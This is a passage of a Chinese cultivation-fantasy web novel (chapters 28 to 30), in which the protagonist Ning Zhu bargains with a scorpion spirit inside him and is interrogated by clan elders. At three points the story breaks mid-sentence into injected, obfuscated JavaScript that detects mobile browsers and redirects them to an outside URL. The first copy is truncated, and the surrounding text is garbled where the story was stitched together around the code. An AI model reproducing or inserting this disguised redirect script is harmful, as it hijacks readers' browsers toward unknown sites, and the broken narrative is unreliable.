原先还有些凝滞的氛围一秒破了,宁竹睁开眼,用另一种古怪的声音问她:“……你把化灵散换出去了?” 宁辞白眼一翻:“不然呢?!我靠,我也是被你坑了,早知道你要的东西这么难搞,我肯定跟你多要点报酬!” 宁辞不了解,但宁竹这个化灵散的炼制人可一清二楚啊。 他给的化灵散,有毒。 而他准备的解药,还在他的手环里躺着。 宁竹声音有点发飘了:“……你卖给谁了?那瓶化灵散是……半成品,有副作用,得搭配另一瓶药一起服用。” 宁辞:…… 宁辞:? 宁辞眼都瞪大了,声音不受控地抬高了几个度:“我靠!你小子玩这手?” “我这么信你你就这么把我坑了?!”宁辞抓狂了,“我靠我靠我靠我的名誉不会就这么被你毁了吧我靠啊……” 宁竹也头大。他被困在宁家好几年,一时也不知道是外头的物价变化还是宁辞被坑了,但反正在以前,青月花花籽这种边角料,一瓶聚灵散就能买好几颗,就算是他这次要求高,一瓶聚灵散换一颗也肯定够。他怎么也没想到宁辞就这么把化灵散给卖出去了。 但现在他也只能解释:“……忘了,纯忘了,我以为你自己用,有异常肯定会回来找我。” 宁竹走不出内族倒也是事实,他们这么多次碰面,都得是宁辞主动找上门来。 这点宁辞也清楚,她摇摇头,干脆拉了张椅子坐过来:“副作用大吗?” “……理论上,不大。化灵散本身便会让人修为下跌一两段,灵属越驳杂,下跌就越严重,我这份顶多在这个基础上,额外让人身体不适几天,躺上一段时间就好。” 宁辞闻言立即是松了一口气:“那没事,从今天开始,化灵散就是会有让人躺个十天半个月的副作用。” 她白了一眼宁竹:“反正没用过化灵散的人多了去了。” 当然,这句话也包括她。 宁竹自然听出来她的言外之意,他笑了笑:“之后还会有,我会给你。” 宁辞帮他解了燃眉之急,他自然不会跟宁辞掰扯。 宁辞很满意他的识相,打了一下岔后屋内的氛围总算不那么消沉了,宁辞实在忍不住八卦心,扒拉着宁竹就开始问: “好了好了别说那些了,快跟我说说,郁苍谷发生了什么,怎么你们今年这么早就出来了,还有你怎么拿了第一,还被执法堂和灵植院的抢了!白天那两人又是怎么回事?哦对了,少族长来干什么?!” 她越说越兴奋,语速快得连气口都快没了,宁竹沉默,片刻后他移开眼,思考着现在装聋子还来不来得及。 . 最后在宁辞的威胁下宁竹还是开了口,简明扼要地讲了郁苍谷内发生的事,和宁长青宁兰之成为朋友的过程,听得宁辞目瞪口呆,只恨手里没点瓜子能嗑。 当然了,宁竹也不是什么都说,诸如炼制化灵散、险遭夺舍、灵力异常、长老传召之类的,他半句没提。 至于晕过去的事,宁竹依旧坚称自己是太累了。 而宁殊嘛…… “宁殊哥只是来关心一下我。” “少来……”宁辞无语,“我可没听说过少族长对谁这么上心过。” 宁竹笑着把话题堵死:“那你现在见过了。” 反正宁殊对他特殊也不是一两天的事情了,宁竹也的确不清楚宁殊平白无故对他这么好是图些什么,但反正只要把宁殊的行为往这个逻辑上扯,宁辞也就不会再纠缠了。 毕竟整整三年,宁辞这么喜好八卦的人都能没打听出结果来。 “好吧……”宁辞不出所料地泄了气。 话是这样说,但她高低是要犯一下贱。 少女眼睛一转,上下打量了一番宁竹,旋即煞有其事地点了点头:“你确实算有几分姿色,我就当少族长看上你了。” “……其实,我还有几瓶聚灵散。” 宁辞差点呛死自己,她愤愤地戳一下宁竹:“我刚刚什么都没有说,你也什么都没听见!” 宁竹被逗笑了。他从手环里取出一张空白的卷轴,想了想,飞快地写下几个药名,若是有精通药学或灵植的在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一道风刃不由分说直击而来,狂暴的飓风险些就要打散宁竹的意识了,可他一动不动地立在原地,那道风刃就在他面前不足半寸的距离消散。 一切如它所料。 那只蝎子用它那双巨大的眼睛盯着他,和它的身形相比,宁竹实在太过渺小,而就是这么渺小的人类,却令他的夺舍计划接连失败。 无论是刚闯入时的硬抢,还是趁他先前昏厥时的蛊惑,都没能逼迫这具身体让出主权。 它的手段并非用尽,但再过激一些的手段必然会使这具身体受损。 它是想活,但如果为了争抢控制权把这具身体崩毁,它也没办法活太长时日。 所以……与其坐以待毙,不如趁这个人类还小,争取一番。 蝎子那双原先燃烧着纯粹恨意的眼里此刻清明一片,似乎这短短的两天时间已然令它冷静了下来。 宁竹没有对迎面而来的攻击感到意外,他站在安全距离外,同样紧盯着那只蝎子:“你找我?” 蝎子缓缓转动了眼珠子,递出几分确定的信息:“人类幼崽,我承认,我拿你没办法。” 它顿了顿,语气里带上几分形似人类的讽笑:“你不想死,而我也不想。” “人类幼崽。蝎族有一门脱壳之术,只要能找到新的躯体,我能完整地从你的身体中转移出去。” “只要你能帮我找到一具合适的身体,我马上离开。” 宁竹:“……你当我三岁小孩?” 宁竹冷笑一声,毫不客气地掰开它话里的意思:“几次差点把我弄死,现在发现弄不死了,就让我给你当苦力?想得挺美。” 蝎子微微甩动了下蝎尾。 它不意外。或者说,面前这个人类幼崽的反应才是它期待的。 找一个聪明人当合作伙伴,远比一个蠢货来得靠谱。 “幼崽,我敢找你,自然不是毫无打算。” 它再一次开口,抛出宁竹无法拒绝的筹码—— “我看到了,你想要木属性的灵源。” “如果我说,我有办法帮你?” 28.长老殿 宁竹的声音颤了:“什么?” 蝎子的声音悠悠传来,像隔着泡沫一般不真切:“我说,我有办法帮你,凝成纯粹的木灵源。” 宁竹险些被一瞬间的喜悦冲昏,但很快他定住了神,少年微微眯起双眼,声色冷淡如初:“你拿什么让我信你?” 他没等蝎子回应,直接了当地拆穿蝎子现在的处境:“你的本体已经腐烂,说明你的本源受到不可挽回的重创,你想依靠夺舍换一条生路,而你拿我没办法,时日一长,你的魂魄必定被我炼化,如此处境,要我如何信你不是拖延时间的把戏?” 蝎子安静了下来,安静得宁竹以为他被自己说中了,少年的心一点一点沉下来,他面色不甚好看。留一个异类在自己身体里自然不是宁竹可以忍受的,而这种时候,宁竹也不介意借用点宁家的能力。 他这头心念一动,蝎子便缓缓开了口。 “你很聪明,幼崽。”蝎子的声音同样平静,“我注意到了,你会用毒。毒依木而生,我用的方法便是毒。” 它轻轻挥舞了下钳肢,同样是动了,这一回却没有宁竹下意识去预防的剧痛传来,他的灵脉依旧缠绕着蝎子,却没有被触发。 它的确没有再表现出恶意。 “我说过了,我不想死,但我的命在你手上。” “我许你我的本源印结,和帮你结成木灵源,协助你发展,作为代价,换你不炼化我和在未来助我复生,如何?” 宁竹笑了。 他朗声重复了蝎子的话,揭开蝎子话语里最后一层掩盖:“毒依木而生。哼……而一旦我结成木灵源,你就有了发挥空间吧。这具身体现在只剩下了水和火,即便你成功夺舍,不适配也会拖垮你。” “还真是不死心啊。” 蝎子传来的声音里沾染上了些微笑意,它不意外宁竹的敏锐:“你果然聪明。” “既然结成木灵源有利于你我,这件事上,我必会全力助你。” 它的蝎尾在空中随意一点,灰紫色的光点便朝宁竹缓缓飘来。 那点光充斥着灰暗,带着属于死亡的气息,它悬在宁竹身前,宁竹便清晰看见了那点光中似乎有一道蝎子的印记在爬行。 本源印记。 “当然,你也可以不信我,你大可以去找别的办法。”它看着宁竹凝视着自己递出的本源,如果宁竹想,此刻捏碎它的本源,它也必定受到重创。 这是诚意,也是威胁。 一旦宁竹下手,那么蝎子也会不顾一切地引爆魂魄重创宁竹。 只不过这种两败境地,它不想,也不希望宁竹这么做。 蝎子压下内心深处的忐忑,它笑了笑:“你能找到别的办法,我自然认命。但你找不到,再回来找我,那我也不会压上这么多筹码了。” 蝎子说完,气定神闲地趴伏下来,任由灵脉随着它的动作将它紧缚。 “选吧,幼崽。” 宁竹猛地抬手—— 握住了那点光。 刺痛。宁竹拧了一下眉头,但痛感很快消失,只留下一点被毒麻痹神经后残留的轻微发麻感。 “我的确需要。” 宁竹的确需要,纵使宁家之外的世界能给宁竹解决的方案,但宁竹修为提不上去,他便没有外出的机会,更别提逃离宁家,若非如此,宁竹也不会想到用外力来强融木属性。 蝎子所递出的并非救命稻草,而是将它和宁竹捆到一条船上的绳索。 但那又何妨? 正如蝎子打的是麻痹宁竹以日后夺舍的主意,宁竹同样没想放过蝎子。 只三言两语就要宁竹交出全部的信任,还真当他是天真无邪的三岁小孩了? 普通的炼化只能将蝎子魂魄转为灵力吞噬,而接受本源印结之后的炼化,便能完完全全转化蝎子的能力为自己所用。 当然,在那之前。 蝎子所说的帮助他凝结木灵源的方法,他也很有兴趣。 “明天会有很多强者出现,我不知道、也不在乎你生前是多强大的魔兽,但我连凝源都没有,在他们面前,我藏不住你。” “如果你不想被发现,那么,用你全部的手段,隐藏你的气息。” 少年顿了顿,声音沉了下来:“如果被发现……不必我多说吧。” “幼崽,这点手段我还是有的。” 蝎子甩了甩尾,似乎是宁竹接收了它的本源之后,这两条灵脉便没有那么抗拒它了,它的蝎尾猛地一甩动,乍起的狂风呼啸着卷起宁竹的意识,将他抛出这片奇诡的空间。 “对了,你之前拿的那朵枯莲可别丢了,那可是好东西。” 宁竹猛地睁开眼。 天还未亮,自窗外卷进来的风抚过宁竹的肌肤,很冷,宁竹不用摸也知道,他出了满身的汗。 他脑海里还回荡着蝎子最后一句话,宁竹从手环中翻出来那朵褐色的枯花,甚至在宁竹拿出它的时候,最外圈几片枯萎的花瓣脱下枝干飘落。 扇叶通心莲…… 宁竹当时放弃了一株木属性灵植去选了它,落手时,其上木灵气稀薄到几乎可以称之为没有,一度让宁竹以为自己的感知出了差错。 但刚刚蝎子说不能丢…… 他小心翼翼地捧着枯花看了一圈,又把外层将落未落的几片花瓣蹭掉了。 宁竹半天研究不出什么,最后还是把枯花塞回了手环中。 这朵枯花的事不急,眼下,还有别的事情亟待解决。 宁竹的思维刚一发散,他锁骨上猛地传来一下刺痛感,宁竹猝不及防“嘶”了一声,他扯开衣领,便见得黑色的蝎子图腾耀武扬威般霸在他的锁骨下方,那块肌肤隐隐作痛。 宁竹挑了挑眉。 他前脚刚说让蝎子隐匿气息,后脚这蝎子就仗着本源同宁竹烙下了印记? 宁竹轻轻触碰了一下那块肌肤,仿佛是知道他在想什么一般,那道印记在他的触碰下迅速淡去,瞬间恢复如常,仿佛刚刚出现在宁竹身上的图腾是他的错觉,就连方才那股属于魔兽的气息也消失不见。 宁竹哼笑一声,他下了床,抓起衣物去洗漱了。 不管蝎子用什么手段,只要撑过明天不被发现……一切都好说。 当然……假如蝎子藏不住被发现了,宁竹也不会留着它。 这样一来,横竖受到威胁的只有蝎子而已。 这只魔兽很懂审时度势,既然它想绑宁竹上船,那它也必然不会在这种节骨眼上搞事情。 至于明天…… 哼。 . 宁竹推开长老殿的门。 清晨日光追着少年的身影,映入这座古朴的建筑内,拉出一道欣长的影。 厅堂内,五道视线直直朝他汇聚而来。 打量与审视一并,探究与不满一齐。 成为视线中心的宁竹面不改色,他一步踏入厅内,丝毫没有躬身行礼的意思,旁侧的三长老当即“哼”了一声,指上一错,手中盘玩着的两颗火源珠便磕碰在一起,划出刺耳的声响。 厅堂不大,摆设分明极尽简朴却又处处透出庄严大气之势。 两侧漆黑的石柱仿佛吞噬了光,刻印在石柱上的金色龙纹更为整座厅堂增添肃穆色彩,尽显典雅威严。 和他被族长带回宁家那年所见的议事厅相比,整整三年,分毫未变。 在他脑海中骤闪而过的不怎么美好的回忆被他压下,宁竹在厅堂正中站立,受着四位长老各异的目光。 厅堂左右排开四个座位,四位长老皆在,目光聚在宁竹身上,即便四位长老均无一人放出威压,这恐怖的氛围也令得宁竹有些许的压抑。 宁竹站得笔直,他双眼直直地望向厅堂最中间那张空空荡荡的椅子,而宁殊只是站在那张空椅一侧,对他投以温和的眼神。 ……族长不在。 宁竹很快从面前的场景中提取出来信息。 那么,传召他就只是长老们的意思。 而他们找自己来……只会是因为郁苍谷的事情。宁竹有所预估,但四位长老都在这样的景象,还是有些超乎宁竹的预料了。 宁竹心下悄然疑惑了一瞬——郁苍谷,至于这么大动干戈? “别紧张,小竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870028|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”宁殊丝毫没有提醒宁竹行礼的意图,他清了清嗓子,越过一堆繁杂的程序直切主题,“叫你来只是有些关于郁苍谷的情况需要了解,如实作答即可。” 果然。宁竹猜的准确,他只点了点头:“明白。” “前日离开郁苍谷之前,你在做些什么?” 意料之中。 “我在采药。” 宁殊看他一眼:“详细说说。” 宁竹适时露出疑惑的神情,他摇摇头,摆出思索的神情:“当时……我和长青他们分开后,去悬崖边上摘一株药草,攀爬的时候听到了一声……魔兽的吼叫?我攀着的石块松了,我摔了下去,然后就晕了一会儿。” 宁殊闻言皱了皱眉:“木牌呢,你的木牌没有碎吗?” “没有。”宁竹满是疑惑地看他,“我摔下去的时候木牌从我身上掉了出去,醒来的时候差点找不到木牌,仔细搜寻了一圈才找到的。” 左侧长须老者突然问道:“找的什么药?云苍苔?” 宁竹转过去视线:“鳞叶草。” 医药阁的大长老意味不明地“嗯”了一声,他侧过眼同炼丹堂的三长老眼神交流了些什么,他没再开口,只示意宁殊继续。 宁竹心头低低骂了一声。 这一问自然是用来诈宁竹的。一是探他是否心虚,二是探他是否说谎。 云苍苔喜好坚固岩石,直接披盖岩石表面;而鳞叶草喜好生在岩石缝隙中,容易撬动岩石。两者虽是都长在悬崖峭壁之上,但一旦宁竹应了长老说的云苍苔,便是和他自己所说的岩石松了产生了出入。 ……老狐狸。 宁殊同样意会了这一层,当即眼神微动,他抿了抿唇,也没说破,只继续发问:“你醒来之后,有发现什么异常吗?” “我没注意。”宁竹脑中闪过郁苍谷内那混乱奇诡的场景,他停顿了下,又道,“醒来后我发现木牌不在身上,着急去找,找到后立即捏碎了木牌,再然后,我就出来了。” 宁殊暗中皱了皱眉,他看着站在大厅正中的少年。 宁竹的回答毫无破绽,称得上一切正常。 但如果真的只是这样—— 那宁竹就不会丧失他珍视的木灵属了。 宁殊看着少年毫无波澜的双眼,他暗自捏紧了手掌。就这样吧,别再问了。宁殊心中念头刚起,他抬头,却还没能来得及开口。 挽着满头银丝的灵植院二长老笑了起来: “过来,孩子。” . 宁竹一下搞不清这位长老要做些什么,但对着干必然不会有好事。宁竹走过去,便见长老对他伸出手,做出号脉的姿势。宁竹顿了顿,他抬起手,将手腕递到长老指下。 “你很聪明,孩子。” 眉眼慈蔼的长者在他手腕上滑动指尖,跳动的经脉如实反应他的身体状况。她随口说着,像是夸赞,然而下一秒,长者忽的扣住了他的手腕。 宁竹浑身一僵,他抬眼,便撞入长老的视线中,那双明亮的瞳眸里仿佛燃烧着炬火,要将宁竹撕开、将他从里到外探个明晰。 轰! 骤然爆开的灵力威压扼住了宁竹的咽喉,他踉跄着退了半步、只堪堪撑住身形。 ——该死。 长老的修为远在他之上,宁竹全身的灵力都尖叫着调动起来,然而在绝对的实力差距面前,宁竹的灵力调转已然凝滞,他想挣脱长老的手,可那只手姿态轻松,似乎半点气力都没有用上,仍宁竹如何挣动都平稳地扣在他的手腕上。 那威压还在继续攀升,只一眨眼便如山岳压在宁竹的脊背上。 “二长老?!” 宁殊被这突如其来的异变吓了一跳,他下意识就要上前去替宁竹挡上一挡,执法堂的四长老望了过来,用眼神制止了他下意识的反应。 二长老笑意吟吟,她打量着已然被灵力压得单膝跪地的少年,看着他死死撑住地面的手暴起青筋,浑身抖如筛糠也不肯跪伏。 “我喜欢聪明的孩子。”二长老的声音悠悠传来,“前提是,不耍不该耍的小聪明。你明白吗?宁竹。” 29.审讯 宁竹汗如雨下。 这是什么意思?他哪里露出了破绽?还是他们本就知道一切在看着宁竹拙劣表演? 他被无形的灵力压得每一根骸骨都痛,似乎血液的流转都在此刻凝滞,心脏疯狂地跳动也无法将血液推动。 被二长老扣住的手已经开始失去知觉,宁竹眼前有些模糊了,他感觉自己的胸口在疼,像是有人攥住了他的心脏。宁竹闷哼一声,眼前一片模糊,紫色的丝线已然开始缠绕他的视野。 ……蝎子? 宁竹心跳空了一拍,这一拍便也如实反映入二长老的感知之中,她“嗯?”了一声,指上一划,指尖便压上另一条脉络。 蝎子……! 宁竹在心头呼唤,可蝎子沉默着,越来越多的丝线占据他的视野,然而—— 他没等来蝎子的回应,灵脉回应了他。 嗡!! 强烈的嗡鸣自宁竹身上迸发而出,仿佛某种触底反弹,红蓝两道灵脉剧烈地波动起来,宁竹大脑空白一瞬,他忽的感觉不到了压在脊背上的重量,连同二长老扣住他的手都似乎松开了几分。 宁竹猛地甩开了那只手,他站起,又防备地撤开几步。 少年蹙起的眉头折出锋利的弧度,冰冷防备的目光划过长者悬在空中还未收回的手,他直直地瞪着面前的长者。 片刻,二长老笑了起来。 “不错。”她收回的手轻轻拍了拍,长者略带赞许的目光上下打量着少年,最终又同他那双泛起金色光彩的双眼相对,“灵脉提前二次觉醒,这不是坏事。宁竹,你为何要瞒着?” ……什么东西? 宁竹眼中错愣一瞬,他现在的心跳依然过于剧烈。 但至少有一点可以明确……她没有发现蝎子。 宁竹缓缓咽下一口气,面对不明所以的问题,他选择求助面露紧张之色的宁殊。 “二长老,宁竹他……比较特殊。”宁殊犹豫片刻,他还是把现场的状况解释给了不明所以的宁竹听,“灵脉二次觉醒,驱邪排异,自主护体,灵力提纯,提升对灵气的感应能力……但纵观我们整个宁家,似乎也没有提前到散气阶段便二次觉醒的吧?” “不错。”二长老似乎心情很好,她从旁侧的小木桌上端起茶盏,小抿一口,“灵脉二次觉醒本要到结丹之后,宁殊源星便觉醒已是进度过快了,不过宁竹这种情况嘛……也不是没有受了强刺激后灵脉激发的先例。” 说到这里,二长老意味深长地看了宁竹一眼:“只是不知……到底是什么样的刺激,才让这么小一个孩子如此防着我们这群半截入土的老人呢?” ……受了强刺激后,引发的灵脉二次觉醒。 宁竹抿了抿唇,总算对自己先前了遭遇有了一点认知。但眼下还没到他能回顾全局复盘的时候,灵脉在他身体里强有力地搏动着,流淌的灵力便在他周身萦绕着,织成一层护罩。 以宁家对灵脉诡异到几近变态程度的重视,今天他若是说不出点什么,恐怕是走不了了。 宁竹深呼一口气:“我掉进了一片毒障里。” 这下,就连医药阁和炼丹堂的两位长老都望了过来。 “哦?你说下去。”二长老微微点头,眼神中没有多余的任何波动能让宁竹捕捉判断。 宁竹道:“毒障里,我看到了很多幻象,有分辨不出人还是兽的东西一直在对我发起攻击,我被撵着跑,受了不少伤,最后倒在一株奇异的植物前,以为自己要死了的时候,灵脉爆发了。” 宁竹这回完全是拿自己真实经历的事情来说了,言语中挑不出半点假。 灵植院的二长老追问:“可还记得那植物长什么样?” “一株花,顶部开了很多红花,长相奇诡,颜色似血。……花蕊似乎会吐出白雾?” 见多识广的灵植院主事人立马从他给出的模糊特征里锁定了一株灵植:“竟是血粟……” 医药阁的大长老同样点头:“那便也说得通了。” “血粟本就是剧毒之物,性命攸关之刻,灵脉受了毒物的刺激,二次觉醒护体。”大长老接上了话题,又看似关切、实则颇具针对性地绕回宁竹所回避的问题,“既然只是如此,你又为何瞒着?” “……慌不择路被毒毒倒了是什么很值得夸耀的事情吗?” 宁竹语气听着急了几分。 宁殊看少年脸上一闪而过几分烦躁,少族长连忙岔开话题打起圆场:“二长老,宁竹受了毒障,身体可还好?” “无碍,”面对这个族内百年难遇的天才,长老们的态度都好了不少,二长老对宁殊露出一个温和的笑,“灵脉二次觉醒,区区血粟毒障能有什么影响?” “只不过……方才号脉时,宁竹心跳很快,似乎很是心虚啊。” 宁竹闻言唇角一翘,语气冰冷:“长老这般重视,宁竹自然惶恐。” “好了,”宁殊头疼,他打断这场和审讯无异的问话,“既然已了解了事情的缘由,诸位长老可还有什么要问的?” 这群长老话里有话,别说鲜少接触长老们的宁竹了,就连经常和长老们打交道的宁殊,偶尔也受不了长老们的说话方式。 把宁竹带到这种充满规矩条框的地方,本就不是宁殊所愿。 四位长老听了宁殊的话,倒是无一人出声,宁殊心下松了口气,他抬头看向宁竹。 宁殊分明只比宁竹大了一岁,同样还归属少年人的范畴,他还略带几分少年稚气的眉眼一弯,露出属于兄长的温和:“没什么事了,宁竹,你先回去吧。……好好休息。” 宁竹回正了站姿,一言不发,他对站立主座边侧的少年拱手作礼,旋即转身离去,全然没有向厅堂内坐着的四位长老请示之意。 . 二次觉醒的灵脉…… 宁竹走在路上,他脑中还回响着先前厅堂中二长老说的话。 灵脉,又是灵脉。 所以……这灵脉到底是什么东西,能让宁家重视至此? 而且他们一开始是来问为什么宁竹会在郁苍谷里逗留那么久的吧?为什么二长老发现了他的灵脉异变,几位长老便是一副见怪不怪的模样,甚至没有再提这个问题了? ……他原本准备了一堆说辞都用不上了,也不知道是好使坏。 宁竹越想越觉得头疼。 以宁家对灵脉的重视程度,他现在提前二次觉醒了,未来当真还跑得掉? “没事了?” 宁竹心念刚一闪过,脑海里便响起蝎子的声音。 哦,还有这家伙。 宁竹眉梢一挑,他可没忘了方才被二长老钳住手时,眼前蔓延的紫色丝线。 他现在正走在路上,潜不入那片空间里,自然也看不到蝎子本体。 不过好在他和蝎子刚完成本源印结的链接,蝎子能直接和他对话,他当然也能在心头朝蝎子发起询问:“你刚刚做了什么?” 宁竹似乎看到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890016|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝎子甩了甩自己的尾巴,虽是看不清神态,但总能感觉到一股不爽的气息,蝎子的声音传了过来:“还能干什么?刺激这两条怪东西发作呗。” 它的声音似乎很是郁闷:“区区一朵小花的毒性算什么,就这也信了?脑子别是进了水吧。” 宁竹无语。 这家伙居然在不满这个? 他摇摇头,在心里头回话:“好歹也是三阶的剧毒灵植。” “哼。” 蝎子冷哼一声表达了自己的不屑一顾。 “这么看不起?”宁竹笑了,“那你生前是几阶魔兽,怎么在血粟手里栽了,还被当做了肥料?” “幼崽,少套我的话。”蝎子甩尾,“还没到你能知道的时候。” 宁竹套话失败也没什么反应,只借着当下的链接,把话题拐向他最关心的问题上:“行,这个不问,现在你总可以告诉我,你打算怎么帮我凝源了吧?” 蝎子道:“这么着急?不过我用的办法要用到不少毒草,你能搞到吗?” 宁竹眉梢轻轻一挑,少年缓慢而坚定地回道:“不能也能。” 蝎子嗤笑一声,紧接着宁竹迈出的脚步一顿,他的脑海中骤然闪过几株形态各异……甚至看着还有点模糊不清的药草。 蝎子毫无预警,好在宁竹的反应足够快,只是他不得不停下来,全神贯注了才能记录那些药草的模样。 ……还好,倒不是些太难搞的东西。 宁竹将那些草药辨认出来名字后一一记录,他疑惑一瞬:“为什么不直接说名字?” 蝎子优哉游哉的声音传来:“当然是对你的考验,要是这么简单的东西你都辨认不出来,那我还是提前另寻出路算了。” 宁竹漫不经心地冷笑一声,决定不再搭理这闹心玩意。 . 他的意识逐渐回神,少年眼中映出脚下漫长阶梯,是一眼望不见底。 宁家的长老殿建在山峰上,自山底至山顶,漫漫一千零八级阶梯,徒步上下费劲得很。 他半回身,古朴的建筑在云雾缭绕间若隐若现,从这个角度看去,全然分辨不出它是怎样的庞然大物。 宁竹长出一口气。 他一手按上锁骨,掌根抵着心口,他的心跳还没能平复下来,二长老擒握着他手腕时留下的触感还很清晰。 ……先前那情况确实有些危险了。宁竹并不否认这一点。四位长老的修为之高深不可测,至少对于现在的宁竹来说,与天堑无异。 在这片实力为尊的天乾大陆上,有四位修为极高的长老坐镇自然是好事,但…… 但二长老握住他的时候,他连挣扎都做不到。 宁竹搭在锁骨上的手拢握成拳,抵在心口,便能感受到心脏不甘的搏动。 这些天,他被动了很多回。 蝎子的夺舍,灵脉的异变,长老的突然发难…… 甚至再往前。 被带回宁家,被唤醒灵脉…… 在这个世界里,弱小便注定了居于人下,绝对的实力差距面前,连挣扎都困难,又谈何反抗? 他的命运轨迹似乎从他被带回宁家那一刻开始就全然失控,他被推着走在一条不属于他的道路上,被塞进一个不合适的模板里。 宁竹很讨厌、很讨厌这种被动感。 少年迈开步子,走下这漫长的阶梯,身后那座古朴的建筑便逐渐离他远去。 他不想再被动任何一次了。 30.支持与挑衅 “宁竹!又见面了。” 拐过最后一道弯,还剩下最后十几级阶梯,宁竹看着站在山脚下朝他打招呼的人,眼神微动。 宁长青和宁兰之明显是一副等候多时的模样,一左一右站在台阶两侧,正仰着头看他。宁竹快步下了阶梯:“你们在等我?” “对呀。”宁长青笑嘻嘻地揽上宁竹的肩膀,“我和兰之本来就要来长老殿汇报,少族长说你等会儿也来,我们就在这等你了。” “你之前跟我们说的事,长老还真问了。”宁长青不解,“你怎么知道长老们要问这个?” 宁竹先反问:“那你们是怎么说的?” “按你说的答了,”宁兰之说,“淘汰了宁煌之后我们就分开了,后面的一概不知。” 宁长青撇了撇嘴:“我还是第一次见二长老这么凶的样子。” 宁兰之叹了口气:“没办法。”她说着又转过视线,看向另一边的宁竹,“你还不知道吧,宁竹,郁苍谷……其实是一个小秘境。” 宁竹闻言看了过来。 “我们也是才知道,原来郁苍谷内的种种异常不是灵阵覆盖所致,而是它本身就是一个小秘境,有自己的秘境法则。” 原来如此。 宁竹瞬间理解了郁苍谷内那些异样之处。所有的事物都能自发光导致的万物无影、昼夜颠倒时的巨变、像是凭空黏合在一起的场景,以及……他最后在郁苍谷里见到的,一片黑暗中漂浮的空间岛屿。 宁竹当时以为自己是毒性未解产生了幻觉,但如果说是拥有独立法则的小秘境,那一切都得以解释了。 “但是,长老们说,郁苍谷现在链接不上了。” 这倒是宁竹不知了。 郁苍谷对宁家的重要程度不言而知,如此巨大的药仓失去链接,宁家几位长老不可能不着急,所以追着宁竹问话倒也能够理解了。 “所以长老们找我们来问,最后发生了什么。”宁长青道,“你是最后一个出来的,而你出来后又和我们走得近,所以长老们叫我们来问话。” 宁兰之也点了点头,她看向宁竹追问:“现在你可以告诉我们,你在里面经历了什么了吧?你的灵力怎么……”说到最后她还是收住了声,小心地打量着宁竹的神色,唯恐踩了宁竹的雷区。 他们二人帮了自己这么多,宁竹也没有理由再瞒着了,他叹了口气:“之前不说,是担心你们也要阻止我。” 宁长青急了:“怎么会!我……” 他话没说完就被宁竹打断了: “我试图用化灵散废掉灵脉。” 宁长青差点把自己的舌头咬了。 宁竹好笑地拍了拍他的背,继续解释下去:“结果我在光幕后险些被血粟毒倒,危急时刻灵脉二次觉醒,而毒和木灵力融合,一起被灵脉驱逐了。” 宁兰之结合白叶参固本培元的药性,一下反应过来了宁竹都做了些什么,她恍然大悟:“这就是你之前一直找白叶参的原因。” “对。”宁竹说,“灵脉没废成,我在里面晕了一阵,醒来后主动触碰了光幕,就被传送出来了。” 宁兰之倒是对宁竹废灵脉这个举动无其他表态,只拍了拍宁竹的肩:“福兮祸所依,祸兮福所至。炼丹堂只要单一的火,而医药阁主水即可,也经常接触灵植,去医药阁很适合你。” “适合什么呀,”宁长青抢过话头,“宁轲那家伙都明摆着想给宁竹下绊子了,唉,你真打算就去医药阁啦?” 宁竹笑了笑。 “如果我说,我想离开宁家呢?” 两人皆是一愣。在他们的世界里,从来没有“离开宁家”这个选项。他们自小在宁家长大,受尽宁家资源灌溉,自然没有任何需要离开宁家的理由,但宁竹…… “你需要我们怎么帮你?”宁长青问道。 “离开宁家,路不一定好走。”宁兰之道,“我们尊重你的选择,有什么能帮上忙的,你尽管说。” 虽然这几日的相处下来,宁竹对这二人的脾性已有所了解,但真正听得他们口中说出,还是真切地戳中了宁竹的内心。 三年蛰伏,宁竹从没有改变过想法。 即便这两人同样劝他,宁竹也不可能改变。 可走在一条不被人理解、更无人支持的道路上,总归是对心性的折磨。 幸好……幸好他们不理解,也并没有劝他。 “谢谢……”宁竹微微垂下眼,掩去眼底溢出的情感,他郑而重之地重复:“谢谢。” “哎呀你谢什么……我们还什么都没帮呢。”宁长青一副受之有愧的模样,他大抵不清楚自己的话语对宁竹而言是多重要的支持,很是不适应地向宁兰之投去求助的目光。 宁兰之笑道:“可能这就是人各有道吧。” 宁竹同样笑了。 “不过,我还真有事情需要你们帮忙。” 蝎子要的草药等宁辞再一次前来时再交代就太迟了,宁竹不知道自己的生命力还能耗得上多久,蝎子没说,但宁竹也清楚,总归是越快越好,因此积分兑换便成了宁竹的第一解决方案。 宁长青一听就来了精神,一双亮晶晶的眼盯着宁竹看。 宁竹道:“我需要和你们借点积分用……我得去换点草药。” “积分?” 两人对视一眼,紧接着,宁竹便从二人脸上看到了相似的笑意。 “说得这么严肃,我还以为是什么大事呢!”宁长青在前拉着宁竹跑,身后宁兰之含着笑小力地推着宁竹跟上,“快走快走!” . “宁竹?” 执事看着面前三人,思索片刻,便从抽屉里拿出一枚徽章。 